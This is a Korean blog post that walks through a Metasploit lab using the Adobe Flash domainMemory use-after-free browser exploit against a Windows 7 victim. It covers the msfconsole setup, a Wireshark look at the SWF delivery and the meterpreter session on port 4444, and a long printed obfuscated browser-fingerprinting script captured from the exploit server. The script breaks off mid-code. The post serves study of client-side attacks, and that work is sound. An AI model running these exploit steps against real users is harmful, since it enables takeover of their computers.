본문 바로가기
보안/Kali

Metasploit - client-side_adobe flash 공격 실습 및 분석

SC_Jun 2020. 8. 28. 12:55

Metasploit - client-side_adobe flash 공격 실습 및 분석

 

client-side 공격이란 공격자가 악성코드를 삽입한 웹 페이지에 client가 접근하면 client의 세션을 장악하여 client 측에서 신뢰적인 통신을 기반으로 하여 서버측으로 공격자의 임의의 코드를 전달하는 공격으로 대표적으로 XSS가 있다.

(출처 : www.netsparker.com 의 blog)

시나리오

=> 공격자는 victim server으로 공격하여 성공 후 서버장악하는 것이 힘들다는 가정을 한다.

1. 공격자는 희생자 서버 내부망에서 접근하는 Web server 목록을 확인 후에 자주 접속하는 Web Server에 악의적인 악성코드를 삽입 후 타켓 Client의 접근을 기달리기 위해 공격자 Server Listener를 활성화 한다. [1]

2. Victim Server는 공격자가 악성코드를 삽입한 Web Server에 접근하여 통신을 한다. [2,3]

3. Victim Client는 WebServer에 삽입된 악성코드를 통하여 공격자에게 접근 후 공격자와 세션이 연결된다. [4]

* Client Side 공격은 위와 같은 과정을 가진다고 생각하시면 된다.

이를 좀 더 이해하기 위해 간단한 실습으로 확인하자.

환경설정 : Win7(adobe flash player 17.0 이하 설치) & Kali_2019

참고자료: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb

 

rapid7/metasploit-framework

Metasploit Framework. Contribute to rapid7/metasploit-framework development by creating an account on GitHub.

github.com

기본 설명

이 모듈은 Adobe Flash Player의 use-after-free 취약점을 악용합니다. 
그만큼 현재 ApplicationDomain에 ByteArray가 할당 된 경우 취약점이 발생합니다.
더 많은 것을 복사하여 재 할당을 강요 할 때 ActionScript 작업자에서 해방됩니다.
내용이 원래 용량보다 많지만 Flash는 domainMemory를 업데이트하는 것을 잊어 버립니다
포인터를 사용하여 주 작업자가 domainMemory 모듈은 Windows 7 SP1에서 성공적으로 테스트되었습니다.
(32 비트), IE 8 및 IE11 (Flash 17.0.0.134 포함).

use-after-free 취약점이란? : https://shayete.tistory.com/entry/7-Use-After-Free

 칼리 리눅스 Adobe_flash_domain Listener

1). console에서 msfconsole 명령어로 metasploit 실행

2). adobe_flash_domain_memory 검색

3). use [exploit path]

*exploit의 설명 간단히 확인

4). show options 명령어 실행 후 설정 값 확인 

=> SRVHOST(local host) 설정 필요

5). setting

set SRVHOST, URIPATH, PAYLOAD 설정해주시면 됩니다.

*payload setting하시면 payload options이 출력됩니다. 그전까지 출력이 안되요.

6). run or exploit

=> Server 활성화 되었습니다.

Win7 에서 접속

 7) Windows7에서 칼리리눅스로 접근!

=> http://[칼리리눅스ip]:8080 으로 접속하시면 위와 같은 URI로 접속됩니다.

칼리리눅스에서 URLPATH를 표시안해줄 시 /~ 로 자동으로 안 넘어가질 수도 있어요.!!!

8) 칼리리눅스에서 세션 확인

Win7이 칼리리눅스 서버로 접속하면 칼리리눅스에서는 악성코드가 삽입된 flash 파일(fFTd.swf)을 전송해준다.

=> session 통신이 된 순간부터 희생자 PC를 세션에 접속하여 메터프리터로 post 공격이 가능합니다.

==========================================================================

분석

9) wireshark 분석

9-1) 192.168.219.104:8080 접근

9-1.1) Wireshark에서 http 프로토콜로 초기에 접근을 하고 ok 정상 접속을 확인할 수있다.

9-1.2) 2번째 http에서 not found가 출력되었는데 이것은 favicon.ico를 찾을 때 실패로 인한 페이지 없음이다.

9-1.3) 192.168.219.104/trOenR/ 로 접근하고 정상연결로 확인

9-1.4) user-agent: application/x-shockwave-flash가 탐지된 것을 확인할 수 있는데 이 것은 칼리리눅스에서 전송한 fFTd.swf가 정상적으로 전달되어 실행된 것으로 확인된다.

9-1.5) 마지막으로 meterpreter로 통신을 하게되면 wireshark로 도착지 포트가 "4444"로 연결되면서 통신하는 것을 확인할 수 있다.

 

10) 파일 분석

=> Wireshark에서 http object 출력!!! [모르면 댓글]

여기서 중요한 것

=> \ , beSel, trOenR 3개의 파일 입니다.

\

      <script>
      var U={"\x5f\u006b\x65\171\x53\x74\162":(function () { var B="wxyz0123456789+/=",E="cdefghijklmnopqrstuv",Jd="RSTUVWXYZab",lV="KLMNOPQ",sb="ABCDEFGHIJ"; return sb+lV+Jd+E+B })(),"\137\x75\u0074\146\x38\u005f\x65\u006e\x63\u006f\u0064\u0065":function(JG){JG=JG[((function () { var w="e",iF="plac",Q0="re"; return Q0+iF+w })())](/\r\n/g,(function () { var u="n",Tv="\\"; return Tv+u })());var d="";var Z;for(Z=('UGBOMKtA'.length-8);Z<JG[(String.fromCharCode(0154,0x65,0156,0147,0x74,0x68))];Z++){var VH=JG[(String.fromCharCode(0143,104,97,0162,67,0157,0x64,0145,0x41,0x74))](Z);if(VH<(03*('M'.length*(01*19+5)+15)+11)){d+=String[(String.fromCharCode(0x66,114,111,0x6d,0103,0150,0141,0162,0x43,0157,100,101))](VH);}else if((VH>(0x3*35+22))&&(VH<(1*('kViRax'.length*('cnOO'.length*48+18)+170)+618))){d+=String[(String.fromCharCode(102,0x72,0x6f,109,0x43,104,0x61,0x72,67,111,100,0145))]((VH>>'evjzwG'.length)|(0x10*(0x1*'XRYrAZv'.length+5)+0));d+=String[((function () { var K="rCode",G="fromCha"; return G+K })())]((VH&('tBHr'.length*('z'.length*017+0)+3))|(4*('O'.length*26+1)+20));}else {d+=String[(String.fromCharCode(102,0162,111,109,0x43,0x68,0141,114,0x43,0x6f,0144,101))]((VH>>('z'.length*'ZsbRqjydD'.length+3))|(02*(01*53+37)+44));d+=String[(String.fromCharCode(0x66,0162,0157,0155,0x43,0x68,0x61,114,67,0157,0144,101))](((VH>>'vFUBtM'.length)&(1*(01*('uMAQ'.length*'VVCnpoB'.length+3)+5)+27))|('Ia'.length*('D'.length*(02*(0x4*4+0)+2)+10)+40));d+=String[((function () { var O="Code",F="r",m="fromCha"; return m+F+O })())]((VH&('Qp'.length*0x19+13))|('ZmKOunsb'.length*(0x2*'uaoPgajX'.length+0)+0));}}return d;},"\u0065\x6e\u0063\x6f\144\u0065":function(JG){var cy="";var n,l,C3,Zf,CR,D,s;var $=('cbWnMkkTI'.length-9);JG=U[((function () { var O="e",R="encod",YQ="8_",b="_utf"; return b+YQ+R+O })())](JG);while($<JG[(String.fromCharCode(108,101,0156,103,0x74,0150))]){n=JG[((function () { var is="At",lk="ode",_="rC",g="cha"; return g+_+lk+is })())]($++);l=JG[(String.fromCharCode(0143,0x68,97,0162,0103,0x6f,0144,0145,65,0164))]($++);C3=JG[(String.fromCharCode(99,104,0141,0x72,0103,0157,0144,101,0101,116))]($++);Zf=n>>'Xx'.length;CR=((n&'tYO'.length)<<'IHcB'.length)|(l>>'PUKB'.length);D=((l&(07*'ra'.length+1))<<'JT'.length)|(C3>>'XPhXnI'.length);s=C3&(02*0x1b+9);if(window[(function () { var Rf="aN",q="isN"; return q+Rf })()](l)){D=s=(2*0x19+14);}else if(window[(function () { var v="N",P="a",PU="isN"; return PU+P+v })()](C3)){s=(7*'nGyZMohAK'.length+1);}cy=cy+this[((function () { var k="r",wp="ySt",oQ="ke",c1="_"; return c1+oQ+wp+k })())][(String.fromCharCode(0x63,104,0141,0162,65,0164))](Zf)+this[(String.fromCharCode(0137,107,0145,121,0x53,0164,114))][((function () { var u="rAt",F="ha",vE="c"; return vE+F+u })())](CR)+this[(String.fromCharCode(0x5f,0x6b,0145,0171,0x53,0164,0x72))][(String.fromCharCode(0x63,104,0x61,114,0x41,0164))](D)+this[((function () { var s8="tr",GQ="eyS",UC="_k"; return UC+GQ+s8 })())][((function () { var J3="t",Z="A",bC="char"; return bC+Z+J3 })())](s);}return cy;},"\x64\x65\143\157\x64\145":function(JG){var M="";var _,q_,O6;var b,J,l,j2;var qY=('hSQs'.length-4);JG=JG[(String.fromCharCode(114,0x65,0160,0x6c,97,0143,0145))](/[^A-Za-z0-9\+\/\\=]/g,"");while(qY<JG[((function () { var w="h",O="engt",_6="l"; return _6+O+w })())]){b=this[((function () { var td="r",zp="St",Bl="_key"; return Bl+zp+td })())][(String.fromCharCode(0x69,110,0x64,0145,0x78,0x4f,0x66))](JG[(String.fromCharCode(99,0x68,0141,0162,0101,116))](qY++));J=this[((function () { var _d="r",Z="St",m="_key"; return m+Z+_d })())][(String.fromCharCode(0151,110,0144,0x65,0x78,79,0146))](JG[(String.fromCharCode(0x63,104,0x61,0x72,0101,0164))](qY++));l=this[((function () { var K="r",L="St",LZ="_key"; return LZ+L+K })())][(String.fromCharCode(0x69,0x6e,0144,101,120,0x4f,0x66))](JG[((function () { var N3o="t",YD="A",Dm="char"; return Dm+YD+N3o })())](qY++));j2=this[((function () { var KX="Str",v="y",qu="_ke"; return qu+v+KX })())][((function () { var jV="xOf",gx="inde"; return gx+jV })())](JG[((function () { var nH="At",dX="har",Al="c"; return Al+dX+nH })())](qY++));_=(b<<'an'.length)|(J>>'ZKPd'.length);q_=((J&(1*0x9+6))<<'MEYD'.length)|(l>>'iH'.length);O6=((l&'PcS'.length)<<'MCMzJD'.length)|j2;M=M+String[((function () { var N="ode",xD="rC",u="fromCha"; return u+xD+N })())](_);if(l!=(0x3*('QR'.length*'kOwyambo'.length+2)+10)){M=M+String[((function () { var Z$="ode",Bb="rC",lo="fromCha"; return lo+Bb+Z$ })())](q_);}if(j2!=('K'.length*('D'.length*(02*17+8)+5)+17)){M=M+String[((function () { var d="rCode",s="fromCha"; return s+d })())](O6);}}M=U[(String.fromCharCode(95,0x75,116,0146,56,95,100,0145,0143,0157,0x64,0x65))](M);return M;},"\u005f\u0075\x74\u0066\u0038\137\144\x65\x63\157\144\145":function(Qn){var L="";var EI=('kf'.length-2);var e=('Sg'.length-2);var w=('XYdkCouiP'.length-9);var P=('EWjjYDPVCz'.length-10);while(EI<Qn[((function () { var m="h",pc="t",Ry="leng"; return Ry+pc+m })())]){e=Qn[(String.fromCharCode(0x63,0150,97,0162,0x43,111,0144,0x65,65,116))](EI);if(e<(9*14+2)){L+=String[(String.fromCharCode(102,0162,111,0x6d,0x43,0x68,97,0162,0x43,0x6f,0x64,101))](e);EI++;}else if((e>(01*('M'.length*('X'.length*0102+58)+11)+56))&&(e<('r'.length*(0x2*(02*('P'.length*(0x1*(01*023+1)+2)+2)+3)+11)+111))){w=Qn[(String.fromCharCode(0143,0150,0141,114,67,0157,0144,101,0101,0164))](EI+'L'.length);L+=String[(String.fromCharCode(0146,114,0x6f,0155,67,0150,0x61,114,67,0x6f,100,101))](((e&('WJ'.length*('xuwqEs'.length*'sJ'.length+0)+7))<<'TqtRJm'.length)|(w&('KnSTCj'.length*(0x5*02+0)+3)));EI+='rH'.length;}else {w=Qn[(String.fromCharCode(0143,104,0x61,0x72,67,0157,100,0145,0x41,0x74))](EI+'C'.length);P=Qn[((function () { var TW="At",aG="arCode",Me="h",ZV="c"; return ZV+Me+aG+TW })())](EI+'vG'.length);L+=String[(String.fromCharCode(102,0162,0157,0x6d,67,0x68,97,0162,0x43,0157,0x64,0x65))](((e&('o'.length*016+1))<<(06*2+0))|((w&('D'.length*('bq'.length*('v'.length*(01*016+11)+3)+4)+3))<<'DeYoMN'.length)|(P&('uap'.length*('KpNIP'.length*'riN'.length+1)+15)));EI+='Rqt'.length;}}return L;}};var s6=String.fromCharCode(79,0x70,0x65,0162,97);var h=String.fromCharCode(77,0123,73,69);var p=String.fromCharCode(70,0151,114,0145,0146,0157,0170);var cM=String.fromCharCode(0x43,104,114,111,0x6d,0145);var T=String.fromCharCode(83,0x61,0x66,0141,0162,105);var z=String.fromCharCode(76,0x69,0x6e,117,0170);var I=(function () { var l="oid",z$="Andr"; return z$+l })();var hT=(function () { var Po="ws",Pp="indo",dU="W"; return dU+Pp+Po })();var c=String.fromCharCode(0x4d,0141,0143,0x20,79,0x53,0x20,0x58);var Z4=(function () { var Em="S",XB="O",u="i"; return u+XB+Em })();var t=String.fromCharCode(70,0x72,101,0x65,66,0x53,0104);var V=(function () { var N="SD",d="etB",C="N"; return C+d+N })();var f=String.fromCharCode(79,0160,101,0x6e,66,83,68);var X$=(function () { var D="le",J="rm",w="a"; return w+J+D })();var H=(function () { var Ti="6",qd="8",Xg="x"; return Xg+qd+Ti })();var r=(function () { var L="4",mY="86_6",R="x"; return R+mY+L })();var A=String.fromCharCode(0160,112,0143);var a=String.fromCharCode(0155,0151,0x70,115,108,101);var X={};X[((function () { var yc="sion",k="getVer"; return k+yc })())]=function(){var sm;var p7;var i;var O;var Uf;var m;var s;var TT;var X1="";var vj=navigator[(String.fromCharCode(0165,0x73,0145,114,65,0147,0145,0x6e,0x74))];var i_=false;var TG="";var k$=null;var Vr=function(ke,bP,b){if(!document[(String.fromCharCode(0143,0x72,0x65,0141,0164,101,69,108,101,109,101,0x6e,0x74))])return false;var F=document[(String.fromCharCode(99,0x72,0x65,97,116,0x65,69,0x6c,101,0155,101,0156,0x74))]((function () { var $b='v',Uj='i',UI='d'; return UI+Uj+$b })());F[(String.fromCharCode(0x73,0145,0x74,65,0x74,116,0162,105,98,0165,0164,0145))]((function () { var GN='e',n='l',e_='y',G='st'; return G+e_+n+GN })(),ke+String.fromCharCode(072,32)+b+(function () { var Pg=";"; return Pg })());return F[((function () { var m5="e",tZ="l",SG="ty",mK="s"; return mK+SG+tZ+m5 })())][bP]===b;};var _Q=function(mG){if(!document[((function () { var Z="nt",z5="me",_="e",NC="teEl",eg="crea"; return eg+NC+_+z5+Z })())])return false;var JG=document[(String.fromCharCode(0x63,114,101,0141,0164,0145,69,0x6c,0145,0x6d,101,110,0x74))]((function () { var $t='t',zC='u',GX='inp'; return GX+zC+$t })());JG[(String.fromCharCode(0163,0x65,0x74,65,116,0x74,114,0x69,0142,0x75,116,101))]((function () { var fQ='e',Bp='p',bs='ty'; return bs+Bp+fQ })(),mG);return JG[(String.fromCharCode(116,0171,0x70,0145))]==mG;};var yM=function(iT){try{eval(iT);return true;} catch(ie){}return false;};if(window[((function () { var G="ra",$="ope"; return $+G })())]){s=s6;if(!navigator[(String.fromCharCode(0x75,115,0x65,114,0101,0x67,0145,0x6e,0x74))][(String.fromCharCode(109,0x61,0x74,0x63,0x68))](/Opera/)){i_=true;}TT=window[(function () { var $o="a",h2="r",P="e",Z="op"; return Z+P+h2+$o })()][((function () { var GQ="on",Jt="ersi",IL="v"; return IL+Jt+GQ })())]();if(!sm){switch(window[(function () { var dp="a",e="r",QN="e",ge="op"; return ge+QN+e+dp })()][((function () { var NE="r",AX="e",K="b",UD="m",A6="u",O9="buildN"; return O9+A6+UD+K+AX+NE })())](String.fromCharCode(0x69,0156,0x63,0x6f,0156,115,112,0x69,0143,0x75,0x6f,0165,115))){case (function () { var mo="4",AT="4",kF="3"; return kF+AT+mo })():case String.fromCharCode(0x31,0x33,064,0x37):case String.fromCharCode(062,0x30,57,061):case (function () { var oQ="444",aq="2"; return aq+oQ })():case String.fromCharCode(0x32,0x34,0x37,064):case String.fromCharCode(52,0x31,060,0x32):case (function () { var F="6",n="8",_="3",pZ="6"; return pZ+_+n+F })():sm=z;break;case String.fromCharCode(0x31,060,55,52):case (function () { var XJ="00",dC="1",$C="1"; return $C+dC+XJ })():case (function () { var bh="45",R8="34"; return R8+bh })():case String.fromCharCode(0x33,0x35,0x31,0x36):case (function () { var Wo="30",j1="7",mk="7"; return mk+j1+Wo })():case (function () { var pX="2",pW="850"; return pW+pX })():case String.fromCharCode(0x38,066,55,071):case (function () { var Re="771",DQ="8"; return DQ+Re })():case String.fromCharCode(56,067,55,54):case String.fromCharCode(070,0x38,0x30,0x31):case (function () { var Ch="08",nT="01",hr="1"; return hr+nT+Ch })():case String.fromCharCode(061,48,0x34,0x36,067):case String.fromCharCode(0x31,48,0x34,067,0x36):case String.fromCharCode(0x57,77,0104,0x2d,53,060,064,063,51):sm=hT;break;case (function () { var Nd="0",gT="8",yx="24"; return yx+gT+Nd })():sm=t;break;case (function () { var hD="86",Q3="63"; return Q3+hD })():sm=c;break;case (function () { var q="7",pm="40",JA="1"; return JA+pm+q })():if(navigator[(String.fromCharCode(0165,115,101,0x72,0101,0147,0145,110,0x74))][(String.fromCharCode(105,0x6e,0144,0145,0170,0117,0146))]((function () { var _r="id",fh="o",R$="ndr",Xi="A"; return Xi+R$+fh+_r })())){sm=I;}else if(navigator[((function () { var PW="t",O1="en",v="serAg",fY="u"; return fY+v+O1+PW })())][((function () { var f1="f",c_="dexO",Fw="in"; return Fw+c_+f1 })())]((function () { var dP="hone",Ky="iP"; return Ky+dP })())){sm=Z4;i=(function () { var EO="ne",Cw="Pho",IY="i"; return IY+Cw+EO })();}break;case (function () { var mj="0",IC="5",XV="2",EE="1"; return EE+XV+IC+mj })():break;default:k$=window[String.fromCharCode(0x6f,0x70,0145,0x72,0141)][((function () { var dO="umber",sO="buildN"; return sO+dO })())](String.fromCharCode(105,110,0x63,111,0156,0x73,0x70,0x69,0x63,0165,0x6f,117,0x73));break;}}}else if(typeof window[((function () { var O9="wheel",zu="onmouse"; return zu+O9 })())]!=String.fromCharCode(117,110,0x64,0x65,0146,105,110,0145,0144)&&!(typeof window[String.fromCharCode(0123,0143,0x72,105,0160,0164,69,110,103,0151,0156,101,0x4d,0141,106,0157,114,0x56,0145,0162,0163,0x69,0157,110)]==(function () { var YC='on',P='ti',IM='func'; return IM+P+YC })())){if(window[((function () { var EQ="mium",rm="o",z3="chr"; return z3+rm+EQ })())]||window[((function () { var $4="le",qf="g",vP="goo"; return vP+qf+$4 })())]||window[((function () { var Uy="e",cE="m",g="chro"; return g+cE+Uy })())]){s=cM;window[(function () { var xx="rch",bX="sea"; return bX+xx })()]=(function () { var km="e",e="hrom",n="C"; return n+e+km })();}else {s=T;window[(function () { var gm="ch",K="ar",v="se"; return v+K+gm })()]=String.fromCharCode(86,101,0x72,115,0151,0157,0x6e);}window[(function () { var Z="m",qk="atfor",fF="pl"; return fF+qk+Z })()]=navigator[(String.fromCharCode(0160,0154,0141,116,102,0x6f,0162,109))][((function () { var Yc="Case",_H="r",sK="toLowe"; return sK+_H+Yc })())]();if(window[String.fromCharCode(0160,0154,0x61,0164,102,0x6f,0x72,0x6d)][(String.fromCharCode(0x6d,0141,0x74,99,104))](/ipod/)){sm=Z4;i=(function () { var J9="d",hr="iPo"; return hr+J9 })();X1=X$;window[(function () { var qe="h",iQ="c",Zd="r",Vt="ea",n="s"; return n+Vt+Zd+iQ+qe })()]=String.fromCharCode(0x41,0x70,0160,108,101,0127,101,98,75,0151,116);}else if(window[(function () { var Bv="form",Gk="t",Tr="pla"; return Tr+Gk+Bv })()][((function () { var kf="h",QF="c",__="mat"; return __+QF+kf })())](/ipad/)){sm=Z4;i=(function () { var Db="Pad",vc="i"; return vc+Db })();X1=X$;window[String.fromCharCode(115,0x65,97,0162,0x63,0150)]=String.fromCharCode(0101,0x70,0160,0154,0145,87,0x65,0x62,75,105,116);}else if(window[String.fromCharCode(0160,108,0141,0164,0146,111,0162,0155)][(String.fromCharCode(109,97,0x74,0x63,0x68))](/iphone/)){sm=Z4;i=(function () { var ha="e",gh="on",cF="h",SW="iP"; return SW+cF+gh+ha })();X1=X$;}else if(window[String.fromCharCode(112,108,0x61,0164,102,0157,0x72,0x6d)][((function () { var e="h",Oi="tc",cy="a",t5="m"; return t5+cy+Oi+e })())](/macintel/)){sm=c;X1=H;}else if(window[String.fromCharCode(0x70,0154,0141,0164,102,0157,0x72,109)][(String.fromCharCode(0x6d,0141,116,99,0150))](/linux/)){sm=z;if(window[String.fromCharCode(0x70,0154,0141,116,102,0157,0162,0x6d)][((function () { var d3="h",s3="atc",_U="m"; return _U+s3+d3 })())](/x86_64/)){X1=r;}else if(window[(function () { var vT="tform",Ar="pla"; return Ar+vT })()][((function () { var V6="h",_b="c",SU="t",T_="ma"; return T_+SU+_b+V6 })())](/arm/)){X1=X$;}else if(window[String.fromCharCode(0160,0154,97,0164,102,0157,0162,0155)][(String.fromCharCode(109,0x61,0x74,0x63,0150))](/x86/)){X1=H;}else if(window[(function () { var gM="orm",eZ="platf"; return eZ+gM })()][(String.fromCharCode(109,0x61,0x74,0x63,104))](/mips/)){X1=a;}if(navigator[((function () { var M="ent",i8="serAg",U5="u"; return U5+i8+M })())][((function () { var Yn="ch",lS="t",F="a",rD="m"; return rD+F+lS+Yn })())](/android/i)){sm=I;}}else if(window[(function () { var cj="rm",ro="atfo",zD="pl"; return zD+ro+cj })()][((function () { var $Y="h",q="c",$b="t",xv="ma"; return xv+$b+q+$Y })())](/windows/)){sm=hT;}TT=this[((function () { var vh="ersion",S2="searchV"; return S2+vh })())](window[String.fromCharCode(115,101,97,0162,0x63,0150)],navigator[(String.fromCharCode(0165,0x73,0145,114,0x41,103,0145,110,0164))]);if(!TT||('sYutdyzC'.length-8)==TT[((function () { var OX="h",j4="engt",Ov="l"; return Ov+j4+OX })())]){i_=true;}}else if(navigator[((function () { var f0="u",fJ="scp",$g="o"; return $g+fJ+f0 })())]&&!document[((function () { var Is="l",lw="l",tM="a"; return tM+lw+Is })())]&&navigator[((function () { var Y="abled",cK="taintEn"; return cK+Y })())]||(function () { var ai='ilder',eh='obBu',OM='MozBl'; return OM+eh+ai })() in window){s=p;if((function () { var Ju='ol',Ny='Symb'; return Ny+Ju })() in window&&String.fromCharCode(0164,111,0x53,0x74,114,105,0156,0x67,0124,0141,103) in window[(String.fromCharCode(0123,0171,0155,0142,111,0154))]){TT=String.fromCharCode(065,49,056,0x30);}else if(String.fromCharCode(79,0x62,0x6a,0145,0x63,0164) in window&&(function () { var Ph='rs',Sy='ertyDescripto',b2='p',Sq='getOwnPro'; return Sq+b2+Sy+Ph })() in window[((function () { var Df="ect",Jk="j",sk="Ob"; return sk+Jk+Df })())]){TT=(function () { var Xu='.0',Qq='50'; return Qq+Xu })();}else if((function () { var lD='is',e='s',o8='nthe',Dc='SpeechSy'; return Dc+o8+e+lD })() in window){TT=(function () { var Yo='.0',jW='9',M='4'; return M+jW+Yo })();}else if(String.fromCharCode(0160,0x61,0144,0123,0164,0141,114,0x74) in String[((function () { var pW="ype",rm="rotot",Rf="p"; return Rf+rm+pW })())]){TT=(function () { var YF='8.0',F='4'; return F+YF })();}else if(String.fromCharCode(84,101,120,0164,0x54,0162,97,0x63,107) in window&&String.fromCharCode(111,110,99,117,101,99,104,0x61,0x6e,0x67,101) in window[(String.fromCharCode(0x54,101,0x78,0x74,0x54,114,0x61,0143,0x6b))][(String.fromCharCode(112,0162,111,0x74,0157,0164,121,0x70,0145))]){TT=(function () { var Wl='.0',Bz='7',yH='4'; return yH+Bz+Wl })();}else if(String.fromCharCode(0x65,108,0145,0x6d,101,0156,0164,0163,70,0x72,111,109,80,111,0151,110,0x74) in document){TT=String.fromCharCode(064,54,0x2e,060);}else if(yM(String.fromCharCode(0x63,0154,0x61,0x73,115,0x20,0x41,040,0x7b,0x7d))){TT=(function () { var uE='0',Z='45.'; return Z+uE })();}else if(String.fromCharCode(83,0171,109,0142,0157,108) in window&&String.fromCharCode(0164,0157,0120,114,0151,109,105,0164,0151,0166,0145) in window[(function () { var l9="l",zm="mbo",F="Sy"; return F+zm+l9 })()]){TT=String.fromCharCode(0x34,0x34,056,060);}else if(Vr((function () { var M='s',FR='hen',q='yp',K5='h'; return K5+q+FR+M })(),(function () { var m0='ns',B2='e',PQ='h',eI='p',AR='hy'; return AR+eI+PQ+B2+m0 })(),String.fromCharCode(97,0165,0x74,111))){TT=String.fromCharCode(0x34,51,46,0x30);}else if(typeof (window[String.fromCharCode(73,0155,0141,0147,0x65,0102,0x69,0164,0155,0141,0160)])==(function () { var ld='ion',qWa='funct'; return qWa+ld })()){TT=String.fromCharCode(064,50,46,0x30);}else if(typeof (window[String.fromCharCode(77,0145,0x73,0x73,97,103,0x65,0103,0150,0141,0x6e,110,0x65,108)])==String.fromCharCode(102,0x75,0156,0x63,0164,0151,111,0x6e)){TT=(function () { var Qj='0',ww='.',IJ='41'; return IJ+ww+Qj })();}else if(typeof (window[String.fromCharCode(65,117,0144,0151,0157,0103,0157,0x6e,116,0145,0x78,0x74)])==(function () { var n$='n',v1='o',g2V='cti',FD='fun'; return FD+g2V+v1+n$ })()&&typeof (new window[String.fromCharCode(0x41,0x75,100,0151,0157,67,0157,0156,0x74,101,120,0x74)]()[((function () { var g3="Source",vi="fer",q8="uf",Hf="ateB",v="cre"; return v+Hf+q8+vi+g3 })())]()[(String.fromCharCode(0144,101,0164,0x75,0x6e,0145))])==(function () { var aQ='ect',o4='j',yY='ob'; return yY+o4+aQ })()){TT=(function () { var Sn='.0',ey='40'; return ey+Sn })();}else if(Vr((function () { var sQ='ts-x',GPD='l-snap-poin',_='scrol'; return _+GPD+sQ })(),(function () { var rZ='pPointsX',IQ='scrollSna'; return IQ+rZ })(),String.fromCharCode(0165,0x6e,0x73,0145,116))){TT=(function () { var $H='0',S7='.',yo='39'; return yo+S7+$H })();}else if(String.fromCharCode(99,0162,0145,0141,0x74,0x65,0105,0x6c,101,0x6d,0x65,0x6e,0164) in document&&document[((function () { var bt="Element",yO="te",ju="rea",t2="c"; return t2+ju+yO+bt })())](String.fromCharCode(0160,105,0143,0164,0x75,0162,101))&&document[(String.fromCharCode(0143,114,0x65,97,116,0x65,0105,108,0x65,0x6d,0x65,0156,0x74))]((function () { var _8='ture',AL='ic',NS='p'; return NS+AL+_8 })())[((function () { var sh="uctor",zf="constr"; return zf+sh })())]===window[(function () { var x9='Element',Sg='e',pg='HTMLPictur'; return pg+Sg+x9 })()]){TT=String.fromCharCode(063,56,46,48);}else if(Vr(String.fromCharCode(100,0x69,115,112,0154,97,0171),(function () { var ka='ay',hp='ispl',Xp='d'; return Xp+hp+ka })(),(function () { var K='nts',m7='conte'; return m7+K })())){TT=(function () { var av='0',AF='.',UD='7',xN='3'; return xN+UD+AF+av })();}else if(Vr(String.fromCharCode(0x69,0x73,111,0154,0x61,0164,105,0157,110),String.fromCharCode(0x69,115,0157,0154,97,0x74,0151,0x6f,110),String.fromCharCode(0x69,115,0x6f,108,0141,0x74,101))){TT=(function () { var nN='6.0',QH='3'; return QH+nN })();}else if((function () { var Hh='t',g='s',Gg='se',kB='clo'; return kB+Gg+g+Hh })() in window[String.fromCharCode(0x45,0x6c,0145,109,0x65,0156,0x74)][(String.fromCharCode(0x70,114,0x6f,0x74,0157,0x74,0x79,0160,101))]){TT=(function () { var _I='0',hD='.',Vs='5',q0='3'; return q0+Vs+hD+_I })();}else if(String.fromCharCode(0x6d,97,0x74,0143,0150,0x65,0163) in window[String.fromCharCode(69,0x6c,0145,0x6d,101,0156,0x74)][(String.fromCharCode(0x70,0x72,111,116,0x6f,0164,0171,0160,101))]){TT=String.fromCharCode(0x33,0x34,46,060);}else if(String.fromCharCode(82,97,100,0151,111,0x4e,0157,0144,101,76,0151,0x73,0x74) in window){TT=String.fromCharCode(0x33,51,46,060);}else if((function () { var Z='n',lo='i',Gv='ith',bW='copyW'; return bW+Gv+lo+Z })() in Array[((function () { var Q6="type",sa="proto"; return sa+Q6 })())]){TT=String.fromCharCode(063,50,46,48);}else if((function () { var I$='l',dd='fil'; return dd+I$ })() in Array[((function () { var BY="e",LE="totyp",n="o",wQ="r",Ix="p"; return Ix+wQ+n+LE+BY })())]){TT=(function () { var EV='0',ci='31.'; return ci+EV })();}else if(Vr(String.fromCharCode(0x62,97,0x63,107,103,0162,0x6f,0165,0x6e,0x64,0x2d,98,108,0145,0156,0x64,45,0x6d,0157,0144,101),(function () { var uQ='de',y3='endMo',on='ckgroundBl',Y7='ba'; return Y7+on+y3+uQ })(),(function () { var Cy='ply',W6='multi'; return W6+Cy })())){TT=(function () { var Ia='0',Sr='0.',D6='3'; return D6+Sr+Ia })();}else if(Vr((function () { var kN='zing',fA='si',qI='x-',zN='bo'; return zN+qI+fA+kN })(),String.fromCharCode(0142,0157,0x78,0123,105,122,0x69,0156,0x67),(function () { var JO='box',kM='-',pn='r',vm='e',ew='bord'; return ew+vm+pn+kM+JO })())){TT=(function () { var _p='9.0',ZL='2'; return ZL+_p })();}else if(Vr((function () { var cP='ap',bT='r',EY='w',Rm='flex-'; return Rm+EY+bT+cP })(),String.fromCharCode(102,108,101,0170,87,0162,97,0x70),String.fromCharCode(110,0157,0167,114,0141,112))){TT=(function () { var yy='.0',xg='8',s0='2'; return s0+xg+yy })();}else if(Vr((function () { var t3='r',tL='rso',CF='u',Vj='c'; return Vj+CF+tL+t3 })(),(function () { var yr='r',Ch='o',Pj='urs',Pu='c'; return Pu+Pj+Ch+yr })(),(function () { var KG='ab',pF='r',d3='g'; return d3+pF+KG })())){TT=String.fromCharCode(062,067,0x2e,0x30);}else if(Vr(String.fromCharCode(0151,0155,0x61,103,101,055,111,0x72,0151,0145,0x6e,116,0141,0x74,0x69,0157,0156),(function () { var g9='n',jx='o',YB='ientati',W$='imageOr'; return W$+YB+jx+g9 })(),(function () { var v2='eg',Ww='d',cF='0'; return cF+Ww+v2 })())){TT=String.fromCharCode(062,066,056,48);}else if(Vr(String.fromCharCode(0x62,97,0x63,0x6b,0147,0x72,111,0165,0x6e,100,0x2d,0x61,116,116,0141,0x63,0150,0x6d,101,0156,116),(function () { var C1='ent',Nf='oundAttachm',nX='ackgr',LF='b'; return LF+nX+Nf+C1 })(),(function () { var _E='al',ud='c',ny='lo'; return ny+ud+_E })())){TT=String.fromCharCode(0x32,0x35,0x2e,48);}else if(String.fromCharCode(0104,0145,0166,105,99,0145,0x53,0x74,111,0162,0x61,0147,101) in window&&window[((function () { var AU="torage",Fw="ceS",UT="evi",s1="D"; return s1+UT+Fw+AU })())]&&(function () { var dA='t',Th='l',N4='fau',JJ='de'; return JJ+N4+Th+dA })() in window[((function () { var P2="torage",Fj="DeviceS"; return Fj+P2 })())][(String.fromCharCode(0160,0x72,111,0164,0157,0164,121,0160,101))]){TT=String.fromCharCode(0x32,064,056,48);}else 